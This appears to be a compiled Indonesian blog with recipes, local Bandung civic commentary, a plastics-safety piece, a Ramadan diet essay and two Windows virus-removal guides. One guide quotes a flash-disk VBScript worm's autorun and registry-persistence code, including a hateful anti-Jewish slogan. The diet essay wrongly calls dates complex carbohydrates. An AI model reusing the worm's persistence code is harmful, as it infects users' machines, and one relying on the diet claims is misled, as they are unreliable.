Kue Sultana

Kue Sultana

Bahan :
Mentega 1/4
Kuning Telur 2
Gula Halus 160 Gram
Vanilli 1 Sendok Teh
Terigu secukupnya

Bahan Isi :
Kisimis 1/4
Susu Kental 3 Sendok Makan + Air secukupnya
Bahan isi di blender

Cara Membuat :
Kocok mentega, kuning telur, gula sampai putih, masukkan vanilli
Ambil sebagian adonan tambahkan terigu secukupnya kemudian digiling, terus di cetak persegi panjang, ambil 2 potong yang telah di cetak tadi oleh satu potong dengan bahan yang tadi di blender lalu tumpukan dengan 1 potong yang satu lagi diatasnya dan tusuk dengan tusuk gigi, kemudian bakar di oven sampai masak.


Kue Bimoli
Ini kue jaman duluuuu banget, namanya kue bimoli.

bahan :
250 gr kacang tanah sangrai, haluskan
1/2 kg terigu
150 gr gula halus( bisa dikurangi)
200 ml minyak bimoli

cara :
campur semua dgn tangan, bentuk lalu panggang, boleh dioles kuning telur atasnya.


Selamat Menikmati!!!

Masjid Terapung di Sebelah Barat Gasibu

Masjid Terapung Jeddah

Kutipan:
"Untuk pembangunan basement, kata Dada, Pemkot Bandung siap memberkan dukungan dengan mempermudah proses perizinan. Selain pembangunan basement, Dada juga mengusulkan pembangunan masjid terapung di lahan sebelah barat Lapangan Gasibu. Pembangunan masjid tersebut sebagai pengganti masjid di samping Gedung Sate yang dulu tidak diizinkan Pemkot Bandung.

"Lahan di samping Lapangan Gasibu itu hingga kini belum dimanfaatkan. Jika dibangun masjid, akan lebih memperindah kawasan Gedung Sate. Apalagi masjid terapung seperti yang ada di Jedah," kata Dada."

kutipan ini diambil dari berita di media galamedia..
wah.. boleh juga tuh... kan disekitar atau di bandung juga belum ada masjid terapung..
itu seperti nya positif sekali.. dari pada lahan itu seperti sekarang.. seperti tidak "bertuan" dan "berpenduduk" haha (bahasa apa pula yang kupakai nih hehehe... kebanyakan makan tempoyak) kan lebih baik di gunakan untuk hal hal kemaslahatan...

Basement Gasibu !!!

wah wah wah...
sebentar lagi salah satu icon di jawa barat ini khususnya bandung ini mulai berlahan lahan tapi pasti akan hilang dan berubah fungsi dengan alasan alasan tertentu seperti penataan dan demi kenyamanan masyarakat kota bandung sendiri..
masih ingat kan kita ..
ya.. terutama daku...
daku nih bukan asli jawa barat.. tapi waktu dulu di kampung halaman .. kalau bercerita soal bandung pasti lah mengarah ke alun alun.... cihampelas.. gasibu... tangkuban perahu.. dll
tapi sekarang satu persatu mulai ber "metamorfosa"... dengan alasan alasan tadi diatas..
yang sampai sekarang pun.. tidak selesai atau menyelesaikan pokok permasalah yang menjadi alasan/dasar dari metamorfosa tersebut..
alun alun kini tidak seperti alun alun yang dulu... walau pun sedikit "dipaksakan" menjadi alun alun..
tapi kalau daku pikir sih.. ya tetep aja jauh berbeda...
nah sekarang.. gasibu gitu lho..
coba.. siapa yang nggak tau.. gasibu...
dan menurut berita di media .... gasibu akan di buat basement seperti alun alun..
nah bagaimana jadinya.. sedang kan alun alun aja.. belum terselesaikan... dan sesuai dengan apa yang diharapkan.. tapi malah.. ya.. sama sama tau aja ya..
daku mengangkat topik ini ya.. sedikit rasa memiliki dan sangat disayang kan..
kalau alasan alasan tersebut menyebabkan "icon-icon" di bandung ber "metamorfosa".
dikembalikan lagi kepada yang membaca nya... dan pendapat nya akan "penomena metamorfosa ini"

sumber-sumber:
1. www.klik-galamedia.com
2. www.klik-galamedia.com

Hati-Hati dengan Bahaya Plastik! Pelajari Sebelum Terlambat.

Sudah banyak orang yang memberi peringatan, rumor, gosip bahkan artikel majalah tentang bahaya plastik. Tetapi tetap saja hanya segelintir orang yang menggubris, peduli atau sampai meneliti lebih lanjut.

Plastik adalah salah satu bahan yang dapat kita temui di hampir setiap barang. Mulai dari botol minum, TV, kulkas, pipa pralon, plastik laminating, gigi palsu, compact disk (CD), kutex (pembersih kuku), mobil, mesin, alat-alat militer hingga pestisida.
Oleh karena itu kita bisa hampir dipastikan pernah menggunakan dan memiliki barang-barang yang mengandung Bisphenol-A. Salah satu barang yang memakai plastik dan mengandung Bisphenol A adalah industri makanan dan minuman sebagai tempat penyimpan makanan, plastik penutup makanan, botol air mineral, dan botol bayi walaupun sekarang sudah ada botol bayi dan penyimpan makanan yang tidak mengandung Bisphenol A sehingga aman untuk dipakai makan. Satu tes membuktikan 95% orang pernah memakai barang mengandung Bisphenol-A.

Plastik dipakai karena ringan, tidak mudah pecah, dan murah. Akan tetapi plastik juga beresiko terhadap lingkungan dan kesehatan keluarga kita. Oleh karena itu kita harus mengerti plastik-plastik yang aman untuk kita pakai.

Apakah arti dari simbol-simbol yang kita temui pada berbagai produk plastik?

#1. PETE atau PET (polyethylene terephthalate) biasa dipakai untuk botol plastik yang jernih/transparan/tembus pandang seperti botol air mineral, botol jus, dan hampir semua botol minuman lainnya. Boto-botol dengan bahan #1 dan #2 direkomendasikan hanya untuk sekali pakai. Jangan pakai untuk air hangat apalagi panas. Buang botol yang sudah lama atau terlihat baret-baret.

#2. HDPE (high density polyethylene) biasa dipakai untuk botol susu yang berwarna putih susu. Sama seperti #1 PET, #2 juga direkomendasikan hanya untuk sekali pemakaian.

#3. V atau PVC (polyvinyl chloride) adalah plastik yang paling sulit di daur ulang.
Plastik ini bisa ditemukan pada plastik pembungkus (cling wrap), dan botol-botol. Kandungan dari PVC yaitu DEHA yang terdapat pada plastik pembungkus dapat bocor dan masuk ke makanan berminyak bila dipanaskan. PVC berpotensi berbahaya untuk ginjal, hati dan berat badan.

#4. LDPE (low density polyethylene) biasa dipakai untuk tempat makanan dan botol-botol yang lembek. Barang-barang dengan kode #4 dapat di daur ulang dan baik untuk barang-barang yang memerlukan fleksibilitas tetapi kuat. Barang dengan #4 bisa dibilang tidak dapat di hancurkan tetapi tetap baik untuk tempat makanan.

#5. PP (polypropylene) adalah pilihan terbaik untuk bahan plastik terutama untuk yang berhubungan dengan makanan dan minuman seperti tempat menyimpan makanan, botol minum dan terpenting botol minum untuk bayi. Karakteristik adalah biasa botol transparan yang tidak jernih atau berawan. Cari simbol ini bila membeli barang berbahan plastik.

#6. PS (polystyrene) biasa dipakai sebagai bahan tempat makan styrofoam, tempat minum sekali pakai, dll. Bahan Polystyrene bisa membocorkan bahan styrine ke dalam makanan ketika makanan tersebut bersentuhan. Bahan Styrine berbahaya untuk otak dan sistem syaraf. Selain tempat makanan, styrine juga bisa didapatkan dari asap rokok, asap kendaraan dan bahan konstruksi gedung. Bahan ini harus dihindari dan banyak negara bagian di Amerika sudah melarang pemakaian tempat makanan berbahan styrofoam termasuk negara China.

#7. Other (biasanya polycarbonate) bisa didapatkan di tempat makanan dan minuman seperti botol minum olahraga. Polycarbonate bisa mengeluarkan bahan utamanya yaitu Bisphenol-A ke dalam makanan dan minuman yang berpotensi merusak sistem hormon. Hindari bahan plastik Polycarbonate.

Masih banyak sekali barang plastik yang tidak mencantumkan simbol-simbol ini, terutama barang plastik buatan lokal di Indonesia . Oleh karena itu, kalau anda ragu lebih baik tidak membeli. Kalaupun barang bersimbol lebih mahal, harga tersebut lebih berharga dibandingkan kesehatan keluarga kita.

Pada akhirnya. Hindari penggunaan plastik apapun di Microwave. Gunakan bahan keramik, gelas atau pyrex sebagai gantinya.

Hindari juga membuang sampah plastik terutama yang mengandung Bisphenol-A sembarangan karena bahan tersebut pun bisa mencemari air tanah yang pada akhirnya pun bisa mencemari air minum banyak orang.

Semoga informasi ini bermanfaat.

'Waspada Makanan Manis Bagi Orang Berpuasa'

Suara Karya

Di bulan puasa itu, sering kita dengar kalimat 'Berbuka puasalah dengan
makanan atau minuman yang manis,' katanya. Konon, itu dicontohkan Rasulullah
saw. Benarkah demikian?

Dari Anas bin Malik ia berkata : "Adalah Rasulullah berbuka dengan Rutab
(kurma yang lembek) sebelum shalat, jika tidak terdapat Rutab, maka beliau
berbuka dengan Tamr (kurma kering), maka jika tidak ada kurma kering beliau
meneguk air. (Hadits riwayat Ahmad dan Abu Dawud)

Nabi Muhammad Saw berkata : "Apabila berbuka salah satu kamu, maka hendaklah
berbuka dengan kurma. Andaikan kamu tidak memperolehnya, maka berbukalah
dengan air, maka sesungguhnya air itu suci."

Nah. Rasulullah berbuka dengan kurma. Kalau tidak mendapat kurma, beliau
berbuka puasa dengan air. Samakah kurma dengan 'yang manis-manis'? Tidak.
Kurma, adalah karbohidrat kompleks (complex carbohydrate) . Sebaliknya, gula
yang terdapat dalam makanan atau minuman yang manis-manis yang biasa kita
konsumsi sebagai makanan berbuka puasa, adalah karbohidrat sederhana (simple
carbohydrate) .

Darimana asalnya sebuah kebiasaan berbuka dengan yang manis? Tidak jelas.
Malah berkembang jadi waham umum di masyarakat, seakan-akan berbuka puasa
dengan makanan atau minuman yang manis adalah 'sunnah Nabi'. Sebenarnya
tidak demikian. Bahkan sebenarnya berbuka puasa dengan makanan manis-manis
yang penuh dengan gula (karbohidrat sederhana) justru merusak kesehatan.

Dari dulu saya tergelitik tentang hal ini, bahwa berbuka puasa 'disunnahkan'
minum atau makan yang manis-manis. Sependek ingatan saya, Rasulullah
mencontohkan buka puasa dengan kurma atau air putih, bukan yang manis-manis.

Kurma, dalam kondisi asli, justru tidak terlalu manis. Kurma segar merupakan
buah yang bernutrisi sangat tinggi tapi berkalori rendah, sehingga tidak
menggemukkan (data
<http://www.weight- loss-advisor. com/weightlossar ticles/date- nutrition.
htm> di sini dan <http://www.thefruit pages.com/ chartdates. shtml> di
sini).
Tapi kurma yang didatangkan ke Indonesia dalam kemasan-kemasan di bulan
Ramadhan sudah berupa 'manisan kurma', bukan lagi kurma segar. Manisan kurma
ini justru ditambah kandungan gula yang berlipat-lipat kadarnya agar awet
dalam perjalanan ekspornya. Jadi, kalau mau mengikuti sunnah Rasulullah,
sebisa mungkin carilah kurma yang tanpa ditambahkan kandungan gula. Caranya?
Nggak tau. Metik dari pohonnya, ngkali?

Kenapa berbuka puasa dengan yang manis justru merusak kesehatan?

Ketika berpuasa, kadar gula darah kita menurun. Kurma, sebagaimana yang
dicontohkan Rasulullah, adalah karbohidrat kompleks, bukan gula (karbohidrat
sederhana). Karbohidrat kompleks, untuk menjadi glikogen, perlu diproses
sehingga makan waktu. Sebaliknya, kalau makan yang manis-manis, kadar gula
darah akan melonjak naik, langsung. Bum. Sangat tidak sehat. Kalau
karbohidrat kompleks seperti kurma asli, naiknya pelan-pelan.

Mari kita bicara 'indeks glikemik' (glycemic index/GI) saja. Glycemic Index
(GI) adalah laju perubahan makanan diubah menjadi gula dalam tubuh. Makin
tinggi glikemik indeks dalam makanan, makin cepat makanan itu dirubah
menjadi gula, dengan demikian tubuh makin cepat pula menghasilkan respons
insulin.

Para praktisi fitness atau pengambil gaya hidup sehat, akan sangat
menghindari makanan yang memiliki indeks glikemik yang tinggi. Sebisa
mungkin mereka akan makan makanan yang indeks glikemiknya rendah. Kenapa?
Karena makin tinggi respons insulin tubuh, maka tubuh makin menimbun lemak.
Penimbunan lemak tubuh adalah yang paling dihindari mereka.

Nah, kalau habis perut kosong seharian, lalu langsung dibanjiri dengan gula
(makanan yang sangat-sangat tinggi indeks glikemiknya) , sehingga respon
insulin dalam tubuh langsung melonjak. Dengan demikian, tubuh akan sangat
cepat merespon untuk menimbun lemak.

Saya pernah bertanya tentang hal ini kepada seorang sufi yang diberi Allah
'ilm tentang urusan kesehatan jasad manusia. Kata Beliau, bila berbuka
puasa, jangan makan apa-apa dulu. Minum air putih segelas, lalu sholat
maghrib. Setelah shalat, makan nasi seperti biasa. Jangan pernah makan yang
manis-manis, karena merusak badan dan bikin penyakit. Itu jawaban beliau.
Kenapa bukan kurma? Sebab kemungkinan besar, kurma yang ada di Indonesia
adalah 'manisan kurma', bukan kurma asli. Manisan kurma kandungan gulanya
sudah jauh berlipat-lipat banyaknya.

Kenapa nasi? Lha, nasi adalah karbohidrat kompleks. Perlu waktu untuk
diproses dalam tubuh, sehingga respon insulin dalam tubuh juga tidak
melonjak. Karena respon insulin tidak tinggi, maka kecenderungan tubuh untuk
menabung lemak juga rendah.

Inilah sebabnya, banyak sekali orang di bulan puasa yang justru lemaknya
bertambah di daerah-daerah penimbunan lemak: perut, pinggang, bokong, paha,
belakang lengan, pipi, dan sebagainya. Itu karena langsung membanjiri tubuh
dengan insulin, melalui makan yang manis-manis, sehingga tubuh menimbun
lemak, padahal otot sedang mengecil karena puasa.

Pantas saja kalau badan kita di bulan Ramadhan malah makin terlihat seperti
'buah pir', penuh lemak di daerah pinggang. Karena waham umum masyarakat
yang mengira bahwa berbuka dengan yang manis-manis adalah 'sunnah', maka
puasa bukannya malah menyehatkan kita. Banyak orang di bulan puasa justru
menjadi lemas, mengantuk, atau justru tambah gemuk karena kebanyakan gula.
Karena salah memahami hadits di atas, maka efeknya 'rajin puasa = rajin
berbuka dengan gula.'

Ingin 'Kurus'

Melenceng dikit dari topik blog ya. Dikit aja. Itung-itung bonus.

Untuk sahabat-sahabat yang ingin kurus: jangan diet (dalam pengertian
mengurangi frekuensi makan). Diet justru menambah kecenderungan tubuh untuk
menabung lemak karena 'dilaparkan'. Ketika diet memang makanan tidak masuk,
tapi begitu makanan masuk, kecenderungan tubuh untuk menimbun lemak dari
makanan justru lebih besar.

Rahasia kurus sebenarnya adalah menjaga agar respon insulin dalam tubuh
stabil, tidak melonjak-lonjak. Caranya, hanya makan makanan yang member
respon insulin rendah, yaitu yang indeks glikemiknya rendah.

Respon insulin tubuh meningkat bila:

(1) Makin tinggi jumlah karbohidrat yang dimakan dalam satu porsi, makin
tinggi pula respon insulin tubuh (ini umumnya porsi kita di Indonesia: lebih
dari 70 persen dari satu porsi makannya adalah nasi).

Makanya, makanlah dengan karbohidrat cukup lima puluh persennya saja.
Sisanya protein, dan 5-10 persennya lemak. Lemak ini cukup dari lemak yang
terkandung dalam daging yang kita makan, misalnya. Atau kuning telur. Tidak
perlu menambah minyak atau memakan lemak hewan (yang justru buruk
pengaruhnya bagi tubuh). Lemak (sedikit!) masih diperlukan untuk mengolah
beberapa nutrisi dan vitamin, dan untuk membawa nutrisi ke seluruh tubuh.

(2) Semakin tinggi GI (Glycemic Index) karbohidrat yang dikonsumsi, semakin
meningkat pula respon insulin tubuh. Makanya, makan hanya makanan yang
GI-nya rendah. Nanti saya jelaskan di bawah.

(3) Semakin jarang makan, semakin meningkat respon insulin setiap kali
makan.

Ini sebabnya diet (dalam pengertian: mengurangi frekuensi makan supaya
kurus) tidak akan pernah berhasil untuk jangka lama. Setelah diet selesai,
tubuh justru akan cenderung lebih gemuk dari sebelum diet. Supaya kurus
(baca: supaya respon insulin tidak melonjak) justru harus makan lebih sering
(4-5 kali sehari) tapi dengan porsi setengah atau sepertiga porsi biasa,
dengan karbohidrat maksimal 50 persen saja setiap porsi.

Kalau respon insulin tubuh sudah stabil, maka tinggal diatur: kalau ingin
kurus, kalori yang masuk harus lebih sedikit dari kalori makanan yang
dibutuhkan untuk aktivitas sehari hari. Tambah dengan olahraga teratur untuk
membakar lemak berlebih dalam tubuh, dan memperbesar otot. Otot membutuhkan
energi, maka makin terlatih otot, ia akan makin mengkonsumsi lemak dalam
tubuh kita untuk energi.

Sebaliknya kalau ingin memperbesar otot (bukan gemuk) atau mengencangkan
badan, maka kalori yang masuk harus agak lebih banyak dari jumlah kalori
yang akan kita pakai untuk aktivitas selama sehari, agar otot mengalami
pertumbuhan. Otot sendiri dirangsang pertumbuhannya dan 'kekencangannya'
dengan olahraga teratur. Perbanyak protein agar pertumbuhan otot optimal.
Karbohidrat cukup diposisikan sebagai bahan pemberi energi, bukan untuk
mengenyangkan perut.

Lucu ya: kalau ingin kurus atau memperbaiki bentuk badan, termasuk
menumbuhkan otot, justru harus makan lebih sering dengan porsi kecil.
Makan yang mengandung lemak, goreng-gorengan, kanji, atau karbohidrat
sederhana seperti gula, manisan, minuman ringan bersoda dan sebangsanya itu
sudah out of the question. Kalau kita jarang makan, atau makan tidak teratur
dan sekalinya makan 'balas dendam habis-habisan', ya justru respon insulin
kita juga melonjak dan membuat tubuh jadi menimbun lemak.

Sekali lagi, baik ketika berbuka puasa atau dalam makanan keseharian,
makanlah makanan yang seimbang: 50 persen karbohidrat kompleks, 40-45 persen
protein dan 5-10 persen lemak dalam setiap porsinya. Jauhilah karbohidrat
sederhana sebisa mungkin. Kalaupun harus makan karbohidrat sederhana karena
butuh energi cepat carilah yang nilai indeks glikemiknya rendah.

Karbohidrat kompleks membutuhkan waktu untuk diubah tubuh menjadi energi.
Dengan demikian, makanan diproses pelan-pelan dan tenaga diperoleh sedikit
demi sedikit. Dengan demikian, kita tidak cepat lapar dan energi tersedia
dalam waktu lama, cukup untuk aktivitas sehari penuh. Sebaliknya,
karbohidrat sederhana menyediakan energi sangat cepat, tapi akan cepat
sekali habis sehingga kita mudah lemas. Maka, ketika makan sahur, jangan
makan yang banyak mengandung gula, karena kita akan cepat lemas. Makanlah
karbohidrat kompleks (protein jangan dilupakan!) sehingga kita tetap
berenergi sampai waktu berbuka.

Karbohidrat sederhana, GI tinggi (energi sangat cepat habis, respon insulin
tinggi: merangsang penimbunan lemak) adalah: sukrosa (gula-gulaan) , makanan
manis-manis, manisan, minuman ringan, jagung manis, sirop, atau apapun
makanan dan minuman yang mengandung banyak gula. Hindari, puasa atau tidak
puasa.

Karbohidrat sederhana, GI rendah (energi cepat, respon insulin rendah):
buah-buahan yang tidak terlalu manis seperti pisang, apel, pir, dan
sebagainya. Sekarang ngerti kan, kenapa para pemain tenis dunia, pemain
bola, pemain basket atau pelari sering terlihat 'ngemil pisang' di pinggir
lapangan? Karena mereka butuh energi cepat, tapi nggak ingin badannya gembul
berlemak.

Karbohidrat Kompleks, GI tinggi (energi pelan-pelan, tapi respon insulinnya
tinggi): Nasi putih, kentang, jagung.

Karbohidrat Kompleks, GI rendah (energi dilepas pelan-pelan sehingga tahan
lama, respon insulin juga rendah): Gandum, beras merah, umbi-umbian,
sayuran. Ini yang paling dicari para praktisi fitness.

Makanan yang diproses pelan-pelan (karbohidrat kompleks) akan membuat kita
tidak cepat lapar dan energi dihabiskan cukup untuk aktivitas satu hari
penuh; respon insulin rendah membuat tubuh kita tidak cenderung untuk
menabung lemak.

Kalau saya pribadi, sahur cukup dengan oatmeal gandum (ditambah gula
sedikiiiiiit) , atau roti coklat gandum, dua atau tiga butir telur rebus
(kuningnya saya hancurkan dan ditebarkan di rumput untuk makanan semut-semut
di halaman rumah), sayuran segar, dan air putih. Ini sudah cukup untuk
membuat tenaga saya tidak habis sampai buka puasa karena energi dari
karbohidrat kompleksnya (gandum) akan dilepas pelan-pelan ke dalam tubuh
sepanjang hari. Ketika berbuka, sesuai anjuran Rasulullah dan sufi tadi,
saya biasanya minum segelas air, lalu shalat maghrib. Setelah shalat makan
nasi seperti biasa, sebisa mungkin dengan porsi
karbohidrat- protein-lemak- air proporsional. Dan tentu tidak untuk 'balas
dendam' karena puasa seharian. Ini justru saat yang penting untuk melatih
melawan keinginan hawa nafsu 'makan sekenyang-kenyangny a'. Belajar sabar.

Waham Umum

Oke, kembali ke topik. Nah, saya kira, "berbukalah dengan yang manis-manis"
itu adalah kesimpulan yang terlalu tergesa-gesa atas hadits tentang berbuka
diatas. Karena kurma rasanya manis, maka muncul anggapan bahwa (disunahkan)
berbuka harus dengan yang manis-manis. Pada akhirnya kesimpulan ini menjadi
waham dan memunculkan budaya berbuka puasa yang keliru di tengah masyarakat.
Yang jelas, 'berbukalah dengan yang manis' itu disosialisasikan oleh slogan
advertising banyak sekali perusahaan makanan di bulan suci Ramadhan.

Namun demikian, sekiranya ada di antara para sahabat yang menemukan hadits
yang jelas bahwa Rasulullah memang memerintahkan berbuka dengan yang
manis-manis, mohon ditulis di komentar di bawah, ya. Saya, mungkin juga para
sahabat yang lain, ingin sekali tahu.

Semoga tidak termakan waham umum 'berbukalah dengan yang manis'. Atau lebih
baik lagi, jangan mudah termakan waham umum tentang agama. Periksa dulu
kebenarannya.

Kalau ingin sehat, ikuti saja kata Rasulullah: "Makanlah hanya ketika lapar,
dan berhentilah makan sebelum kenyang." Juga, isi sepertiga perut dengan
makanan, sepertiga lagi air, dan sepertiga sisanya biarkan kosong.

"Kita (Kaum Muslimin) adalah suatu kaum yang bila telah merasa lapar barulah
makan, dan apabila makan tidak hingga kenyang," kata Rasulullah.
"Tidak ada satu wadah pun yang diisi oleh Bani Adam, lebih buruk daripada
perutnya. Cukuplah baginya beberapa suap untuk memperkokoh tulang
belakangnya agar dapat tegak. Apabila tidak dapat dihindari, cukuplah
sepertiga untuk makanannya, sepertiga lagi untuk minumannya, dan sepertiga
lagi untuk nafasnya." (HR Tirmidzi, Ibnu Majah dan Ibnu Hibban dalam
Shahihnya yang bersumber dari Miqdam bin Ma'di Kasib)

Semoga bermanfaat..

Wassalaamu 'alaikum Warahmatullahi Wabarakatuh.

Virus Yang Aneh ( menyerang IE dengan kata kata yang aneh )

Salah satu notebook di kantor ada yg terserang virus seperti ini. bingung n kenapa bisa kena virus seperti ini. usut punya usut ternyata emang tu laptop di gilir rame rame makanya bisa terkena virus hihihihi…

mari kita memberikan pengobatan kepada si penyakitan.

pertama folder option hide operating system files (recommended) yang terdapat di Tools > Folder Options > Tab View

perhatikan drive di expoler anda ada file autorun.inf dan sfx.dll.vbs, sekarang kita buka file autorun.if nya

[autorun]
shellexecute=wscript.exe sfx.dll.vbs

sekarang buka file sfx.dll.vbs

[…]

Set rg = CreateObject(”WScript.Shell”): rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\mcafee”,winpath & “\sfx.dll.vbs”: rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”, “Bantai Yahudi!!!! Hancurkan Amerika!!! [Bantai Axe gank dan antek2nya!!! SFX harus menang!!!!]”: rg.regwrite “HKCR\vbsfile\DefaultIcon”, “shell32.dll,2″
If check <> 1 Then Wscript.sleep 200000
Loop While check <> 1: Set sd = CreateObject("Wscript.shell"): sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
virus ini nyebarnya lewat flashdisk dengan langsung menjalankan autorun.inf dan menjalankan file sfx.dll.vbs Sekarang perhatikan penggalan isi sfx.dll.vbs diatas

lalu cara hilangkan virus ini. sebelum itu matikan proses wscript.exe di taskbar manager (CTRL+ALT+DEL)

hapus file autorun.in dan sfx.dll.vbs dari tiap drive. Dan hapus KEY yang ada di registry karena virus ini membuat registry di “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\mcafee”,winpath & “\sfx.dll.vbs” hapus KEY mcafee”,winpath & “\sfx.dll.vbs”

“HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”, “Bantai Yahudi!!!! Hancurkan Amerika!!! [Bantai Axe gank dan antek2nya!!! SFX harus menang!!!!]”
hapus KEY WindowTitle

Membuka msconfig/regedit tapi yang keluar malah notepad

buka msconfig/regedit eh.. malah yang keluar notepad duh.. puasing deh..
cari cari artikel yang berhubungan dengan ini, alhamdulillah ketemu juga..
nah sekarang jadi ingin berbagi deh.. semoga bermanfaat ya...
begini cerita nya...

Cara pertama adalah:

1. Buka notepad lalu ketikkan kode berikut:

[Version]
Signature=”$Chicago$”
Provider=Vaksincom[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del[UnhookRegKey]
HKLM, Software\CLASSES\batfile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\comfile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\exefile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\piffile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\regfile\shell\open\command,,,”regedit.exe “%1″”
HKLM, Software\CLASSES\scrfile\shell\open\command,,,”"”%1″” %*”
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, Shell,0, “Explorer.exe”[del]
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Msconfig.exe
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe

2. Simpan dengan ekstensi file(*.inf, misal test.inf)
3. Lalu dari windows explorer klik kanan file test.inf lalu pilih install

Cara kedua adalah:

1. buka Start terus pilih Run (Start -> Run)
2. terus tulis perintah ini (di kotak dialog Run)

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe" /f

Cara ketiga adalah menggunakan software Autorun dari sysinternal:

1. Download aplikasi sysinternal (sysinternal ini sudah diambil alih oleh microsoft) di sini.
2. jalankan program autoruns nya.
3. setelah dijalankan programnya cari TAB Image Hijacks terus pilih TAB itu
4. selanjutnya hapus semua entry yang ada di TAB Image Hijacks itu KECUALI :
“c:\winnt\system32\ntsd.exe” di Image Path nya… (ingat yang value nya “ntsd.exe” jangan dihapus)

ok deh.. semoga bermanfaat ya....Amien..

from berbagai sumber nuhun